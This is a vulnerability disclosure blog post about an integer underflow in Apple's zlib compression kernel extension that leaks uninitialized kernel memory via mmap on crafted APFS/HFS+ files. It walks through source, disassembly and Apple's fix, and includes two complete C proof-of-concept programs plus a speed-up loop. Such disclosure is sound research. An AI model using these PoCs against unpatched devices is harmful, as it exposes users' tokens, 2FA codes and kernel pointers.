← Blog

Bytes from the Abyss

Reported July 30, 2026 · Fixed August 17, 2026 (iOS 26.6.1 & macOS 26.6.2) · No CVE Issued

Integer underflow in AppleFSCompressionTypeZlib.kext -> uninitialized memory disclosure (iOS & macOS). Full 16kB pages are disclosed at ~2GB/s per thread via mmap on a crafted APFS or HFS+ file.

Data obtained included:

  • KASLR slide + signed kernel pointers
  • HTTP network requests from Safari (including JWTs)
  • 2FA codes and notification contents
  • Freed heap memory from 3rd-party applications

No CVE / bounty was issued. Apple stated that the bug was fixed internally prior to my report.

Discovery

This was found by a parity fuzzer comparing APFS’s resource fork implementation against an implementation of mine. More details will be provided in a future article.

The APFS Compression Format

When a file is transparently compressed on APFS, it is marked with a UF_COMPRESSED flag and stored in 64kB chunks. When the flag is set, the kernel reads the extended attribute (xattr) in com.apple.decmpfs:

com.apple.decmpfs xattr

offsetsizefield
04magic (“cmpf”)
44compression type
88uncompressed size
160-3786data

This bug lives in the dispatch handler for all compression types, so every type (except LZ4, which is 27.0+) is affected. Those types are:

  • 3/4 (ZLIB)
  • 7/8 (LZVN)
  • 9/10 (Stored)
  • 11/12 (LZFSE)
  • 13/14 (LZBITMAP)

The odd type of every pair reads the data field in com.apple.decmpfs. The even types ignore the data field, and read data from a separate xattr, com.apple.ResourceFork.

com.apple.ResourceFork - types 8, 10, 12, 14 ONLY (type 4 is different)

Offset (bytes)FieldSizeDescription
0table_size4 (u32 LE)(chunk_count + 1) * 4
4end_offset[0]4 (u32 LE)cumulative offset where chunk 0’s data ends
......4 (u32 LE)one entry per chunk
table_sizechunk 0 dataend_offset[0] - table_sizechunk data follows the table

Crafting the File

Both decmpfs_pagein_compressed and decmpfs_fetch_uncompressed_data use hdr->uncompressed_size (a user-controlled value) to check if a read starts after EOF:

decmpfs_fetch_uncompressed_data (decmpfs.c:L1180-1193):

if (offset >= (off_t)hdr->uncompressed_size) {
        /* reading past end of file; nothing to do */
        err = 0;
        goto out;
}

decmpfs_pagein_compressed (decmpfs.c:L1330-1341):

// from L1321, cachedSize = hdr->uncompressed_size
if (f_offset < 0 || f_offset >= cachedSize ||
        (f_offset & PAGE_MASK_64) || (size & PAGE_MASK) || (pl_offset & PAGE_MASK)) {
        decmpfs_ktriage_record(KTRIAGE_DECMPFS_IVALID_OFFSET, 0);
        err = EINVAL;
        goto out;
}

The checks themselves are fine - but against a manipulated hdr->uncompressed_size, they do nothing. This turns out to be a problem.

Reading from Nothing

There are two ways to read past the end of the file:

  • Read starting from a nonexistent chunk (this fails immediately)
  • Read starting within the final 64kB chunk, but after its end

The only option here is mmap. Any path through decmpfs_read_compressed goes through adjust_fetch, which rounds up the request to the full 64kB chunk size for XNU’s page cache.

Now, mmap a 1-byte file where hdr->uncompressed_size=65536, then read index 16384. We reach the following position in (decmpfs.c:L1439-1443):

// We are here: uplPos = 16384, uplSize = 16384
// watch did_read closely, it controls the zeroing
err = decmpfs_fetch_uncompressed_data(vp, cp, hdr, uplPos, uplSize, 1, &vec, &did_read);

// The tail zeroing is below. It will never run. 
/* zero out whatever wasn't read */
if (did_read < rounded_uplSize) {
        memset((char*)vec.buf + did_read, 0, (size_t)(rounded_uplSize - did_read));
}

Inside decmpfs_fetch_uncompressed_data, we call AppleFSCompressionTypeZlib->fetch (decmpfs.c:L1216).

// offset = 16384, size = 16384, bytes_read = did_read
err = fetch(vp, decmpfs_ctx, hdr, offset, size, nvec, vec, bytes_read);

Inside AppleFSCompressionTypeZlib.kext

The kext checks offset against hdr->uncompressed_size (again). We control the header, so the check passes:

; From 26A5388g, at 0xfffffe00083c3550
ldur x8, [x2, #0xc]       ; hdr->uncompressed_size
subs x9, x8, x3           ; ... minus the requested offset
b.ls past_eof             ; offset >= uncompressed_size -> success, bytes_read = 0
csel x27, x9, x4, lo      ; clamp output to uncompressed_size - offset

Requests for data past the start of the chunk have the initial bytes discarded. The counter tracks every byte decompressed, including the discarded ones, and subtracts the skip at the end:

; From 26A5388g, at 0xfffffe00083c3788
lsr  x24, x25, #16        ; chunk index = offset >> 16
ands x10, x25, #0xffff    ; skip = offset & 0xffff
b.eq no_skip              ; skip == 0 -> decode straight into the caller's buffer
stp  xzr, x10, [x23]      ; vec[0] = { NULL, skip }
mov  w8, #0x10000         ; Required chunk size
sub  x9, x8, x10          ; 65536 - skip still to come out of this chunk
mov  w8, #0x1             ; the caller's buffer becomes vec[1]
...
mov  x28, #0x0            ; counter for bytes_read (including discarded)
str  x10, [sp, #0x28]     ; keep the skip for the end

A loop runs until all chunks of the request are satisfied, followed by the return:

; From 26A5388g, at 0xfffffe00083c3950
mov  w26, #0x0            ; return success
ldr  x8, [sp, #0x28]      ; skip
sub  x8, x28, x8          ; bytes_read = bytes_read - skip (WRAPS!)
str  x8, [x19]            ; *bytes_read = the wrapped value
b    cleanup              ; free the buffers, then mov x0, x26 & retab

Our chunk writes a single byte to the output, yet skip is 16384, so x28 - skip underflows. After the return, did_read is 2^64-16383 (decmpfs.c:L1439-1443):

err = decmpfs_fetch_uncompressed_data(vp, cp, hdr, uplPos, uplSize, 1, &vec, &did_read);
// -> We are here, did_read = 2^64-16383, memory uninitialized.

/* zero out whatever wasn't read */
if (did_read < rounded_uplSize) {
        memset((char*)vec.buf + did_read, 0, (size_t)(rounded_uplSize - did_read));
}

2^64 > rounded_uplSize, so the did_read < rounded_uplSize check is false, the memset is skipped, and the chunk is committed uninitialized.

hdr->uncompressed_size = 65536, resource fork supplies 1 byte. Each fault gets its own 16 kB window. page 0 ZEROED page 1 LEAKED page 2 LEAKED page 3 LEAKED [0, 16384) [16384, 32768) [32768, 49152) [49152, 65536) skip did_read memset 0 16384 32768 49152 1 2^64−16383 2^64−32767 2^64−49151 runs skipped skipped skipped
Anatomy of the leak The first page is always correctly zeroed. Successive pages report as fully filled due to underflow, causing a leak. The memset only runs when did_read < rounded_uplSize.

The Inline Chunk Leak

This demo writes a file with a single 1-byte inline chunk, then dumps 48kB of memory. Type 9 (Stored) is used for simplicity: a stored chunk is 0xCC followed by the raw bytes.

// cc -o poc poc.c && ./poc /tmp/f | xxd
#include <fcntl.h>
#include <stdio.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/xattr.h>
#include <unistd.h>

#define SIZE 65536      // hdr->uncompressed_size
#define HOLE 16384      // start of the leak

int main(int argc, char **argv) {
    // header: magic "cmpf" LE, type 9 (Stored), uncompressed_size 65536,
    // then the chunk itself: 0xCC (stored marker) and 1 byte of data
    char hdr[18] = { 'f','p','m','c', 9,0,0,0, 0,0,1,0,0,0,0,0, (char)0xCC, 'A' };

    close(open(argv[1], O_CREAT | O_TRUNC | O_RDWR, 0644));
    setxattr(argv[1], "com.apple.decmpfs", hdr, 18, 0, XATTR_NOFOLLOW);
    chflags(argv[1], 0x20); // set UF_COMPRESSED

    unsigned char *m = mmap(0, SIZE, PROT_READ, MAP_PRIVATE,
                            open(argv[1], O_RDONLY), 0);

    madvise(m, SIZE, MADV_RANDOM); // disable readahead

    int nonzero = 0;
    for (int i = HOLE; i < SIZE; i++)
        if (m[i]) nonzero++;

    fprintf(stderr, "%d of %d bytes non-zero\n", nonzero, SIZE - HOLE);
    if (nonzero) fwrite(m + HOLE, 1, SIZE - HOLE, stdout);
}

Boosting Speed

The inline path supplies ~450MB/s on a single thread, and spends most of its time in file creation overhead: We cannot simply re-read the same file, as we would receive the same uninitialized bytes again from page cache.

Thankfully, we can invalidate the page cache by using MAP_SHARED + msync(MS_INVALIDATE), resulting in speeds of ~2GB/s:

unsigned char *m = mmap(0, SIZE, PROT_READ, MAP_SHARED, fd, 0);
madvise(m, SIZE, MADV_RANDOM);
for (;;) {
    // touch pages 1-3 of every chunk, as above
    msync(m, SIZE, MS_INVALIDATE); // evict; the next touch faults again
}

Practically, there is little difference between 450MB/s and 2GB/s. Both leak plenty of data.

Multiple Chunks

Inline chunks are not the only option - resource forks are also affected. Let’s take another look at the disassembly:

mov  w8, #0x10000         ; Required chunk size
sub  x9, x8, x10          ; 65536 - skip still to come out of this chunk

skip is measured from the start of the chunk - so any fault into a page past the end of its chunk will leak. Thus, we can create a resource fork containing a series of 1-byte chunks, and extract 3 pages from every chunk.

This demo leaks CHUNKS chunks from one file. For CHUNKS >= 256, this gets about 2.1GB/s, regardless of whether msync is used.

// cc -o poc2 poc2.c && ./poc2 /tmp/f | xxd
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/xattr.h>
#include <unistd.h>

#define CHUNKS 4                    // 1-byte chunks in the resource fork
#define CHUNK  65536
#define PAGE   16384
#define SIZE   (CHUNKS * CHUNK)     // hdr->uncompressed_size

int main(int argc, char **argv) {
    // header: magic "cmpf" LE, type 10 (Stored), uncompressed_size SIZE
    char hdr[16] = { 'f','p','m','c', 10,0,0,0 };
    uint64_t size = SIZE;
    memcpy(hdr + 8, &size, 8);

    // resource fork: table_size, one end_offset per chunk, then the chunks
    uint32_t table = (CHUNKS + 1) * 4;
    unsigned char rsrc[(CHUNKS + 1) * 4 + CHUNKS * 2];
    memcpy(rsrc, &table, 4);
    for (int i = 0; i < CHUNKS; i++) {
        uint32_t end = table + 2 * (i + 1);
        memcpy(rsrc + 4 + 4 * i, &end, 4);
        rsrc[table + 2 * i] = 0xCC;
        rsrc[table + 2 * i + 1] = 'A';
    }

    close(open(argv[1], O_CREAT | O_TRUNC | O_RDWR, 0644));
    setxattr(argv[1], "com.apple.decmpfs", hdr, 16, 0, XATTR_NOFOLLOW);
    setxattr(argv[1], "com.apple.ResourceFork", rsrc, sizeof rsrc, 0, XATTR_NOFOLLOW);
    chflags(argv[1], 0x20); // set UF_COMPRESSED

    unsigned char *m = mmap(0, SIZE, PROT_READ, MAP_PRIVATE,
                            open(argv[1], O_RDONLY), 0);

    madvise(m, SIZE, MADV_RANDOM); // disable readahead

    // page 0 of every chunk is zeroed; pages 1-3 leak
    int nonzero = 0;
    for (int c = 0; c < CHUNKS; c++)
        for (int i = c * CHUNK + PAGE; i < (c + 1) * CHUNK; i++)
            if (m[i]) nonzero++;

    fprintf(stderr, "%d of %d bytes non-zero\n", nonzero, CHUNKS * (CHUNK - PAGE));
    for (int c = 0; c < CHUNKS; c++)
        fwrite(m + c * CHUNK + PAGE, 1, CHUNK - PAGE, stdout);
}

Apple’s Fix

When a chunk produces fewer bytes than the start index, return EINVAL:

; From 26A5406e, at 0xfffffe00083c700c
ldr  x8, [sp, #0x28]      ; skip
subs x8, x28, x8          ; subs now, sets flags
b.hs store                ; no borrow -> report the count
mov  w26, #0x16           ; borrow -> 0x16 = 22 = EINVAL
b    cleanup              ; error and cleanup
store:
mov  w26, #0x0
str  x8, [x19]
b    cleanup

The check lives in AppleFSCompressionTypeZlib, and fixes all formats. On patched systems (iOS 26.6.1+, macOS 26.6.2+), APFS mmap returns zeroed memory, and HFS+ mmap returns SIGBUS.

Final Notes

In the coming weeks I’ll be publishing a set of utilities for high-ratio APFS compression (custom LZFSE/LZBITMAP encoders). The results are rather impressive, offering reduction of ~15% to the size of the iOS operating system.

If you’re interested in shrinking iOS, or in my 27.2 reports, feel free to join the RSS, or follow me on X / LinkedIn. Posts will be approximately weekly for the near future.